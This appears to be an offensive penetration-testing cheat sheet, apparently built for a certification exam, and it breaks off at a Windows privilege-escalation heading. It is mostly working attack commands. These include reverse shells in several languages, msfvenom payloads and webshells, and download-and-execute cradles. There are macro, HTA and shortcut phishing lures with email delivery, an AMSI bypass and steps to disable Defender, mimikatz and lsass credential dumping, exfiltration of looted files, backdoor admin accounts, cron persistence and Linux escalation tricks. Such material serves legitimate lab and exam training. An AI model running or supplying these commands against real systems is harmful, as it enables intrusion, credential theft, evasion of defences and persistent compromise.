bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"sh -i >& /dev/tcp/$LHOST/$LPORT 0>&1
other linux one-liners generator ↗
nc -e /bin/bash $LHOST $LPORTrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/fpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",$LPORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
powershell
powershell -nop -w hidden -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();$b=New-Object byte[] 65536;$e=New-Object System.Text.ASCIIEncoding;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=$e.GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+'PS> ';$o=$e.GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()"
powershell — encoded

for when quotes will not survive the injection point. Build the base64 on kali, utf-16le is not optional

echo -n '$c=New-Object System.Net.Sockets.TCPClient("$LHOST",$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+"PS> ";$o=([text.encoding]::ASCII).GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()' | iconv -t UTF-16LE | base64 -w0powershell -nop -w hidden -enc <base64>
nc.exe on windows
C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exeC:\Windows\Temp\nc.exe $LHOST $LPORT -e powershell.exe
msfvenom

plain shell payloads, not meterpreter, so none of these count as the metasploit target

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o $WORKDIR/www/shell.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o $WORKDIR/www/shell.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o $WORKDIR/www/svc.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o $WORKDIR/www/evil.dllmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o $WORKDIR/www/evil.msimsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f aspx -o $WORKDIR/www/shell.aspxmsfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o $WORKDIR/www/shell.phpmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o $WORKDIR/www/shell.war
webshells

kali ships a set — the php reverse shell wants its ip and port edited

<?php system($_GET['c']); ?><?php echo shell_exec($_REQUEST['c']); ?><% eval request("c") %>cp /usr/share/webshells/php/php-reverse-shell.php $WORKDIR/www/shell.php && sed -i "s/127.0.0.1/$LHOST/; s/1234/$LPORT/" $WORKDIR/www/shell.phpcurl "http://$IP/shell.php?c=id"
upgrade to a real tty — linux

Ctrl-Z after the first line, the stty line on kali, then fg

python3 -c 'import pty;pty.spawn("/bin/bash")'stty raw -echo; fgexport TERM=xterm SHELL=/bin/bash; stty rows 50 cols 200
full tty with socat
socat file:$(tty),raw,echo=0 tcp-listen:$LPORTsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT
a usable windows shell

cmd over nc cannot be upgraded — get a proper one instead, in this order

evil-winrm -i $IP -u $USER1 -p $PASS1xfreerdp /v:$IP /u:$USER1 /p:$PASS1 /cert:ignore /dynamic-resolutionrlwrap nc -lnvp $LPORT
inside evil-winrm

it has its own file transfer and script loader, so nothing needs a web server. -s is a folder of ps1 files — type a script's name to load it and its functions are there. -e is a folder of .NET exes for Invoke-Binary, which runs them in memory

evil-winrm -i $IP -u $USER1 -p $PASS1 -s $WORKDIR/www/ -e $WORKDIR/www/upload $WORKDIR/www/winPEASx64.exe C:\Windows\Temp\w.exedownload C:\Users\$USER1\Desktop\local.txt $WORKDIR/loot/local.mdmenuPowerView.ps1Invoke-Binary $WORKDIR/www/Rubeus.exe triageBypass-4MSI
a real windows tty — ConPtyShell

tab completion, arrow keys, and a ctrl-c that goes to the program rather than killing the shell. Windows 10 1809 or Server 2019 and newer. The stty line goes on kali before the listener, and reset puts the terminal back afterwards

stty raw -echo; (stty size; cat) | nc -lvnp $LPORTIEX(IWR http://$LHOST:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $LHOST $LPORT.\ConPtyShell.exe $LHOST $LPORTreset

file transfer [8]

serve
python3 -m http.server 8000 --directory $WORKDIR/wwwimpacket-smbserver share $WORKDIR/www -smb2supportimpacket-smbserver share $WORKDIR/www -smb2support -user share -password share
pull — linux
curl -sO http://$LHOST:8000/linpeas.sh || wget http://$LHOST:8000/linpeas.shcurl -sL http://$LHOST:8000/linpeas.sh | bash
pull — windows

iwr first. certutil when powershell is awkward. smb when the box blocks http but not 445

powershell -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe"powershell -c "(New-Object Net.WebClient).DownloadFile('http://$LHOST:8000/nc.exe','C:\Windows\Temp\nc.exe')"certutil -urlcache -f http://$LHOST:8000/nc.exe C:\Windows\Temp\nc.execopy \\$LHOST\share\nc.exe C:\Windows\Temp\nc.exenet use \\$LHOST\share /u:share share
run it without touching disk — windows
powershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$LHOST:8000/PowerView.ps1'); Get-NetDomain"
windows ftp, scripted

for a shell that is not interactive enough for anything else. pyftpdlib on kali

python3 -m pyftpdlib -p 21 -w -d $WORKDIR/wwwecho open $LHOST> ftp.txt & echo anonymous>> ftp.txt & echo pass>> ftp.txt & echo binary>> ftp.txt & echo GET nc.exe>> ftp.txt & echo bye>> ftp.txtftp -v -n -s:ftp.txt
bring it back — linux
nc -lvnp $LPORT > $WORKDIR/loot/filenc $LHOST $LPORT < /path/to/filescp /path/to/file kali@$LHOST:$WORKDIR/loot/base64 -w0 /path/to/fileecho '<paste>' | base64 -d > $WORKDIR/loot/file
bring it back — windows

smb is the easy one. The upload server catches a POST when 445 is blocked

copy C:\path\file \\$LHOST\share\python3 -m uploadserver 8000 --directory $WORKDIR/lootpowershell -c "$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\path\file')); iwr -Uri http://$LHOST:8000/ -Method POST -Body $b"certutil -encode C:\path\file C:\Windows\Temp\file.b64 & type C:\Windows\Temp\file.b64
scp
scp $USER1@$IP:/path/to/file $WORKDIR/loot/scp $WORKDIR/www/linpeas.sh $USER1@$IP:/tmp/

client-side [6]

a name, an email server and a document. The payload is just a download cradle for the shell above

macro

word > view > macros > create. VBA strings cap at 255 characters, so the encoded command is split across Str = Str + lines

vba
Sub AutoOpen()    MyMacroEnd SubSub Document_Open()    MyMacroEnd SubSub MyMacro()    Dim Str As String    Str = Str + "powershell.exe -nop -w hidden -enc "    Str = Str + "<base64 chunk>"    CreateObject("Wscript.Shell").Run StrEnd Sub
split the base64 for vba
python3 -c "s=open('enc.txt').read().strip(); [print('Str = Str + \"'+s[i:i+50]+'\"') for i in range(0,len(s),50)]"
hta
<html><head><script language="VBScript">Set o = CreateObject("Wscript.Shell"):o.Run "powershell -nop -w hidden -enc <base64>",0:self.close</script></head></html>
windows library + shortcut

a .Library-ms pointing at your webdav share, holding a .lnk that runs the cradle. wsgidav serves the share

library-ms
pip3 install wsgidav && wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root $WORKDIR/www/webdav# config.Library-ms — edit the url, then double-click opens the share<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">  <name>@windows.storage.dll,-34582</name>  <version>6</version>  <isLibraryPinned>true</isLibraryPinned>  <iconReference>imageres.dll,-1003</iconReference>  <templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>  <searchConnectorDescriptionList><searchConnectorDescription>    <isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported>    <simpleLocation><url>http://$LHOST</url></simpleLocation>  </searchConnectorDescription></searchConnectorDescriptionList></libraryDescription># the .lnk target:powershell.exe -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe; C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"
make the .lnk

the shortcut that goes in the webdav share next to the library file. Build it on kali with pylnk3, or on any windows box through the shell object. The icon is what makes it look like a settings file rather than a script

pipx install pylnk3pylnk3 c 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $WORKDIR/www/webdav/automatic_configuration.lnk -a '-nop -w hidden -enc <base64>' -i 'C:\Windows\System32\imageres.dll' --icon-index 109# on windows:$s=(New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\automatic_configuration.lnk"); $s.TargetPath="powershell.exe"; $s.Arguments="-nop -w hidden -enc <base64>"; $s.IconLocation="imageres.dll,109"; $s.Save()
send it
swaks --to $USER1@$DOMAIN --from it@$DOMAIN --server $IP --header "Subject: please review" --body "attached" --attach @$WORKDIR/www/doc.docm

on the box

the first ten minutes after a shell. Proof, then who and what and where, before any privesc

first ten minutes [6]

who, where, what
id; hostname; cat /etc/os-release; ip awhoami /all & hostname & systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" & ipconfig /all
local.txt
find / -name local.txt 2>/dev/null; cat ~/local.txt /home/*/local.txt 2>/dev/nulldir /s /b C:\local.txt C:\Users\*\Desktop\local.txt 2>nultype C:\Users\*\Desktop\local.txt
is there a second network

another interface or a route you did not scan means a pivot. Set SUBNET and PIVOT now

ip a; ip route; cat /etc/hosts; arp -aipconfig /all & route print & arp -a
what is listening that you could not see

a service bound to 127.0.0.1 is one nmap never saw — forward it (pivoting) and scan it

ss -tulpnnetstat -ano | findstr LISTENINGGet-NetTCPConnection -State Listen | select LocalAddress,LocalPort,OwningProcess
who else is here
w; last -a | head; cat /etc/passwd | grep -vE 'nologin|false'query user & net user & net localgroup administrators
stabilise
python3 -c 'import pty;pty.spawn("/bin/bash")'powershell -ep bypass

linux — enumerate [4]

the usual three
sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/
automate it
curl -sL http://$LHOST:8000/linpeas.sh | bashcurl -sL http://$LHOST:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $WORKDIR/loot/linpeas.md./pspy64
by hand
id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backups /var/wwwgetcap -r / 2>/dev/nullps aux --sort=-%cpu | head -30ps aux | grep -E '^root' | grep -vE '\[|sshd|cron|systemd'env; echo $PATHdpkg -l | grep -iE 'docker|mysql|postgres|python'
writable
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|run|tmp)'find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run)'ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d

windows — enumerate [9]

identity and privileges

SeImpersonate, SeBackup, SeRestore, SeDebug, SeTakeOwnership, SeManageVolume — any of these is a privesc on its own

whoami /privwhoami /groupsnet user %USERNAME%net localgroup administratorsGet-LocalUser | select Name,Enabled,LastLogonGet-LocalGroupMember Administrators
system

the systeminfo output is what wes-ng and searchsploit eat for kernel exploits

systeminfosysteminfo > C:\Windows\Temp\sysinfo.mdwmic qfe get Caption,Description,HotFixID,InstalledOn[System.Environment]::OSVersion.Version
software
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersionGet-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersiondir "C:\Program Files" "C:\Program Files (x86)"wmic product get name,version
processes and services
tasklist /svcGet-Process | select ProcessName,Id,PathGet-CimInstance -ClassName win32_service | select Name,State,PathName | where {$_.State -like 'Running'}wmic service get name,displayname,pathname,startmode
scheduled tasks
schtasks /query /fo LIST /v | findstr /i "TaskName Author Run Task"Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /tn "<name>" /fo list /v
network
ipconfig /allroute printnetstat -anoarp -anet sharenet use
defences
Get-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnablednetsh advfirewall show allprofiles stateGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections$ExecutionContext.SessionState.LanguageMode
powershell history

the most reliable source of a password on a windows box

Get-History(Get-PSReadlineOption).HistorySavePathtype C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
automate it
.\winPEASx64.exe.\winPEASx64.exe quiet servicesinfopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"python3 wes.py --update && python3 wes.py $WORKDIR/loot/sysinfo.md -i 'Elevation of Privilege' --exploits-only

windows — defender in the way [6]

the defences card above tells you it is on. This is what to do about it. None of it is an exam rule problem — it is your own tooling being eaten

what it is blocking, and what it already ate
Get-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnabled,IoavProtectionEnabled,AMServiceEnabledGet-MpPreference | select ExclusionPath,ExclusionExtension,DisableRealtimeMonitoringGet-MpThreatDetection | sort InitialDetectionTime -Desc | select -First 5 ProcessName,Resources
amsi

powershell scripts are scanned as they load — the "This script contains malicious content" error. Break up the strings AMSI matches on and the scan says yes. When this exact line is caught too, amsi.fail builds a fresh one

$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$a.GetField('amsi'+'InitFailed','NonPublic,Static').SetValue($null,$true)# evil-winrm has one built in:Bypass-4MSI# then load whatever was blocked:iex(iwr http://$LHOST:8000/PowerView.ps1 -UseBasicParsing)
run it in memory instead

a file on disk is scanned the moment it is written. A script pulled straight into iex, or a .NET exe loaded by reflection or by evil-winrm, never touches the disk

powershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"powershell -ep bypass -c "iex(iwr http://$LHOST:8000/winPEAS.ps1 -UseBasicParsing)"$d=(New-Object Net.WebClient).DownloadData('http://$LHOST:8000/winPEASx64.exe'); [Reflection.Assembly]::Load($d) | Out-Null; [winPEAS.Program]::Main("")Invoke-Binary $WORKDIR/www/winPEASx64.exe
winpeas got eaten

the obfuscated build gets further, the .bat needs no .NET and is rarely flagged, and the ps1 is a port that misses things. Or skip it — every check it does is in the privesc phase by hand

iwr http://$LHOST:8000/winPEASany_ofs.exe -OutFile C:\Windows\Temp\w.exe; C:\Windows\Temp\w.exe quiet servicesinfoiwr http://$LHOST:8000/winPEAS.bat -OutFile C:\Windows\Temp\w.bat; C:\Windows\Temp\w.batpowershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"
nc.exe got eaten

it is the most signatured binary there is. The powershell one-liner in foothold > shells replaces it, encoded if quotes are a problem. When it has to be an exe, a bare msfvenom shell rarely survives — run it through shellter. That payload is staged, so catch it with multi/handler, which is fine on the exam

powershell -nop -w hidden -enc <base64>sudo dpkg --add-architecture i386 && sudo apt update && sudo apt install -y shellter wine32 && shellter# shellter: A (auto) > PE target: a real exe, putty.exe > stealth N > payloads L > 5 (Shell_Reverse_TCP) > $LHOST $LPORTmsfconsole -q -x "use multi/handler; set payload windows/shell/reverse_tcp; set LHOST $LHOST; set LPORT $LPORT; run -j"
once you are admin, turn it off

needs a high-integrity shell — evil-winrm or psexec, not a UAC-limited desktop one. Tamper protection stops the first line on a current box; the exclusion usually still goes through

Set-MpPreference -DisableRealtimeMonitoring $trueAdd-MpPreference -ExclusionPath C:\Windows\TempSet-MpPreference -DisableIOAVProtection $truenetsh advfirewall set allprofiles state off

linux — loot [5]

hunt for passwords
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null | grep -vE 'Binary|\.js:'cat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / \( -name "*.kdbx" -o -name ".env" -o -name "*config*.php" -o -name "id_rsa*" -o -name "*.pem" -o -name "*.sqlite" \) -not -path "/proc/*" 2>/dev/nullenv; cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
ssh keys
ls -la /home/*/.ssh /root/.ssh 2>/dev/nullcat /home/*/.ssh/id_rsa /home/*/.ssh/authorized_keys 2>/dev/null
web app configs
find /var/www -name "*config*" -o -name "*.env" -o -name "settings.py" -o -name "database.yml" 2>/dev/null | xargs grep -iE 'pass|user|db' 2>/dev/nullcat /var/www/html/wp-config.php | grep -E 'DB_'mysql -u root -e 'show databases' 2>/dev/null
shadow

readable shadow is a privesc. Writable passwd is a bigger one

cat /etc/shadowunshadow /etc/passwd /etc/shadow > $WORKDIR/loot/unshadowed.md && john --wordlist=$ROCKYOU $WORKDIR/loot/unshadowed.md
try every password everywhere

su reads the terminal, so this needs a real tty

su - rootsu - $USER2for u in $(cut -d: -f1 /etc/passwd); do echo "$PASS1" | timeout 1 su $u -c id 2>/dev/null && echo "  ^ $u"; done

windows — loot [8]

hunt for passwords
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.kdbx,*.ini,*.config,*.xml,*.ps1,*.bat -File -Recurse -EA SilentlyContinueGet-ChildItem -Path C:\xampp,C:\inetpub,"C:\Program Files" -Include *.txt,*.ini,*.config,*.xml -File -Recurse -EA SilentlyContinuefindstr /si password *.xml *.ini *.txt *.config *.ps1 *.bat 2>nuldir /s /b C:\*pass* C:\*cred* C:\*.kdbx C:\*unattend* 2>nul
registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultUserName DefaultPassword"reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /sreg query "HKCU\Software\ORL\WinVNC3\Password"
saved creds

a saved credential is a shell as that user — runas /savecred

cmdkey /listrunas /savecred /user:$DOMAIN\$ADMINU "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"
unattend and sysprep
type C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\System32\Sysprep\sysprep.xml 2>nul | findstr /i "password"
web configs
type C:\inetpub\wwwroot\web.config | findstr /i "connectionString password"type C:\xampp\htdocs\*config*.php C:\xampp\passwords.txt 2>nultype C:\Windows\System32\inetsrv\config\applicationHost.config | findstr /i "password"
group policy preferences

cpassword in sysvol decrypts with a published key

findstr /S /I cpassword \\$DC\sysvol\$DOMAIN\Policies\*.xmlgpp-decrypt <cpassword>nxc smb $DC -u $USER1 -p $PASS1 -M gpp_password
keepass
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -EA SilentlyContinuekeepass2john db.kdbx > kdbx.hash && hashcat -m 13400 kdbx.hash $ROCKYOU
wifi
netsh wlan show profilesnetsh wlan show profile name="<ssid>" key=clear

windows — dump creds [4]

needs local admin, and a high-integrity shell (evil-winrm or psexec give you one; a UAC-limited desktop shell does not)

mimikatz
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::lsa /patch" "exit"# inside it:privilege::debugtoken::elevatesekurlsa::logonpasswordslsadump::samlsadump::lsa /patchlsadump::secretslsadump::cachesekurlsa::tickets /export
no mimikatz

save the hives and pull them back, or dump lsass with a signed binary

reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\securityimpacket-secretsdump -sam sam -system system -security security LOCALrundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullpypykatz lsa minidump lsass.dmp
from kali
nxc smb $IP -u $ADMINU -p $ADMINP --sam --lsanxc smb $IP -u $ADMINU -H $ADMINH --sam --lsanxc smb $IP -u $ADMINU -p $ADMINP -M lsassyimpacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$IP"impacket-secretsdump -hashes :$ADMINH "$DOMAIN/$ADMINU@$IP"
what to do with a hash

NT hashes pass straight in. NetNTLMv2 (from responder) only cracks

hashcat -m 1000 ntlm.md $ROCKYOUhashcat -m 5600 netntlmv2.md $ROCKYOUnxc smb $IP -u $USER1 -H $HASH1evil-winrm -i $IP -u $USER1 -H $HASH1

make life easier [5]

add an admin — windows
net user hacker 'Passw0rd!' /add && net localgroup administrators hacker /add && net localgroup "Remote Desktop Users" hacker /add
turn rdp on
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fnetsh advfirewall firewall set rule group="remote desktop" new enable=Yesxfreerdp /v:$IP /u:hacker /p:'Passw0rd!' /cert:ignore /dynamic-resolution
turn winrm on
Enable-PSRemoting -Forcewinrm quickconfig -q
ssh key — linux
ssh-keygen -q -N '' -f $WORKDIR/box_keymkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
cron shell — linux
echo '* * * * * bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' | crontab -

privesc — linux

sudo, suid, cron, capabilities. Then what runs as root that you can write to, and what is listening that you could not see from outside. Kernel last

start here [4]

the usual three

ninety per cent of boxes answer to one of these

sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/
automate it

run it, then actually read it. pspy catches cron jobs running without needing root to see them

curl -sL http://$LHOST:8000/linpeas.sh | bashcurl -sL http://$LHOST:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $WORKDIR/loot/linpeas.md./pspy64 -pf -i 1000
by hand
id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backups /var/wwwgetcap -r / 2>/dev/nullps aux | grep -E '^root' | grep -vE '\[|sshd|cron|systemd|dbus'ss -tulpncat /etc/passwd | grep -vE 'nologin|false'
what can I write to
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|run|tmp|var/tmp)'find / -writable \( -name '*.sh' -o -name '*.py' -o -name '*.service' \) -not -path '/proc/*' 2>/dev/nullls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d

sudo [5]

what can I run gtfobins ↗

check every binary it lists against gtfobins before anything else

sudo -lsudo -V | head -1
the common escapes
sudo vim -c ':!/bin/sh'sudo find . -exec /bin/sh \; -quitsudo awk 'BEGIN {system("/bin/sh")}'sudo python3 -c 'import os; os.system("/bin/sh")'sudo env /bin/shsudo less /etc/profilesudo -u $USER2 /bin/bash
a script you can read

when sudo -l points at a shell script, read it. A relative command name in there is a PATH hijack, and an unquoted variable is an injection

cat /path/to/script.shgrep -nE '^\s*[a-z0-9_]+ |\$[A-Za-z_]+|`|\$\(' /path/to/script.shecho '/bin/bash -p' > /tmp/ls && chmod +x /tmp/lssudo PATH=/tmp:$PATH /path/to/script.sh
env_keep LD_PRELOAD

when sudo -l shows env_keep+=LD_PRELOAD, any command it allows loads your library as root

printf '#include <stdlib.h>\n#include <unistd.h>\nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}\n' > /tmp/pe.cgcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.csudo LD_PRELOAD=/tmp/pe.so <allowed command>
sudo itself
sudo -u#-1 /bin/bash    # CVE-2019-14287, sudo < 1.8.28 where the rule reads (ALL, !root)# CVE-2021-3156 baron samedit  — sudo < 1.9.5p2# CVE-2023-22809 sudoedit      — 1.8.0 to 1.9.12p1 : EDITOR='vim -- /etc/sudoers' sudoedit /allowed/filesudo --version | head -1

suid & capabilities [5]

find them gtfobins ↗

anything outside /usr/bin and /usr/sbin is worth a proper look

find / -perm -4000 -type f 2>/dev/nullfind / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/)?(s?bin|lib)'getcap -r / 2>/dev/null
capabilities
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'       # cap_setuid on pythonperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'  # cap_setuid on perl# cap_dac_read_search or cap_dac_override on anything: read /etc/shadow, or write to it
a custom suid binary

what does it actually call. A bare command name means PATH, a full path you can write to means replace it

strings ./binary | grep -iE 'system|exec|/bin/|^[a-z]+$' | head -40ltrace ./binary 2>&1 | head -40strace -f ./binary 2>&1 | grep -E 'exec|open' | head -40
path hijack
echo '/bin/bash -p' > /tmp/ps && chmod +x /tmp/psPATH=/tmp:$PATH ./binary
suid shell

-p is what keeps the effective uid. Without it bash drops back to you

bash -p/tmp/bash -p

cron & timers [6]

what runs on a schedule

pspy shows you jobs that are not in any crontab you can read

cat /etc/crontabls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron/crontabs 2>/dev/nullcrontab -lsystemctl list-timers --all./pspy64 -pf -i 1000
can I write what it runs
ls -la $(grep -ohE '/[^ ]+\.(sh|py|pl)' /etc/crontab /etc/cron.d/* 2>/dev/null | sort -u)echo 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' >> /path/to/cron.sh
python library hijack

a root-run script imports a module. Python looks in the script's own directory first, then down sys.path in order — a writable directory anywhere ahead of the real module wins. Same again with PYTHONPATH when sudo keeps it

grep -E '^(import|from) ' /path/to/root.pypython3 -c 'import sys; print("\n".join(sys.path))' | xargs -I{} sh -c 'test -w "{}" && echo "writable: {}"'ls -la /path/to/   # the script's own directory, and the module itselfecho 'import os; os.system("chmod u+s /bin/bash")' > /path/to/<module>.pysudo PYTHONPATH=/tmp /usr/bin/python3 /opt/script.py   # when sudo -l shows env_keep+=PYTHONPATH
wildcard in a tar job

tar * in a directory you can write to reads your filenames as command-line flags

echo 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"' > shell.shecho "" > "--checkpoint=1"echo "" > "--checkpoint-action=exec=sh shell.sh"
writable /etc/passwd
openssl passwd -1 Passw0rdecho 'root2:<hash>:0:0::/root:/bin/bash' >> /etc/passwd && su root2
writable service unit
find /etc/systemd /lib/systemd -writable -name '*.service' 2>/dev/nullgrep -rE 'ExecStart' /etc/systemd/system/*.service 2>/dev/null | grep -vE 'usr/(s)?bin'

services & groups [5]

listening on localhost only

something nmap never saw from outside. Forward it out and treat it as a new target

ss -tulpn | grep 127.0.0.1curl -s http://127.0.0.1:$PORTssh -L $PORT:127.0.0.1:$PORT $USER1@$IP
dangerous group membership

docker, lxd and disk are each effectively root

id | grep -E 'docker|lxd|disk|adm|shadow'docker run -v /:/mnt --rm -it alpine chroot /mnt shdocker images; docker ps -a
lxd
steps
lxc image listlxc init <alpine image> c -c security.privileged=truelxc config device add c h disk source=/ path=/mnt/root recursive=truelxc start clxc exec c /bin/sh# then: cat /mnt/root/root/proof.txt
nfs no_root_squash

an export with no_root_squash lets your local root write a suid shell into it

cat /etc/exportsshowmount -e $IP# on kali, with the share mounted:sudo cp /bin/bash /mnt/nfs/bash && sudo chmod +s /mnt/nfs/bash# on the box:/export/bash -p
mysql running as root
ps aux | grep mysqldmysql -u root -e 'select @@version; select user,authentication_string from mysql.user'searchsploit mysql udf

creds lying about [4]

hunt for passwords
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null | grep -vE 'Binary|\.js:'cat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / \( -name "*.kdbx" -o -name ".env" -o -name "*config*.php" -o -name "id_rsa*" -o -name "*.pem" \) -not -path "/proc/*" 2>/dev/nullcat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
ssh keys
ls -la /home/*/.ssh /root/.ssh 2>/dev/nullcat /home/*/.ssh/id_rsa /home/*/.ssh/authorized_keys 2>/dev/null
readable shadow

a readable shadow is a privesc. A writable passwd is a faster one

cat /etc/shadowunshadow /etc/passwd /etc/shadow > $WORKDIR/loot/unshadowed.mdjohn --wordlist=$ROCKYOU $WORKDIR/loot/unshadowed.md
try it on every account

su needs a real tty, so upgrade the shell first

su - rootsu - $USER2for u in $(cut -d: -f1 /etc/passwd); do echo "$PASS1" | timeout 1 su $u -c id 2>/dev/null && echo "  ^ $u"; done

kernel [2]

last resort. It can panic the box, and a reverted exam box costs you the time you were trying to save

version
uname -a; cat /proc/version; cat /etc/os-releasesearchsploit "linux kernel $(uname -r | cut -d. -f1,2)" privilege escalation
the ones that keep working
# pwnkit     CVE-2021-4034 — pkexec, almost everything before January 2022# dirty pipe CVE-2022-0847 — kernel 5.8 to 5.16.11# overlayfs  CVE-2021-3493 — ubuntu below 20.10# dirty cow  CVE-2016-5195 — below 4.8.3, and it is the one most likely to crashls -la $(which pkexec) 2>/dev/null; pkexec --version 2>/dev/null

privesc — windows

privileges, then services, then scheduled tasks, then what is stored. Run the automated script early but read its output properly — it finds nearly all of this and you still have to spot it

start here [4]

the first three

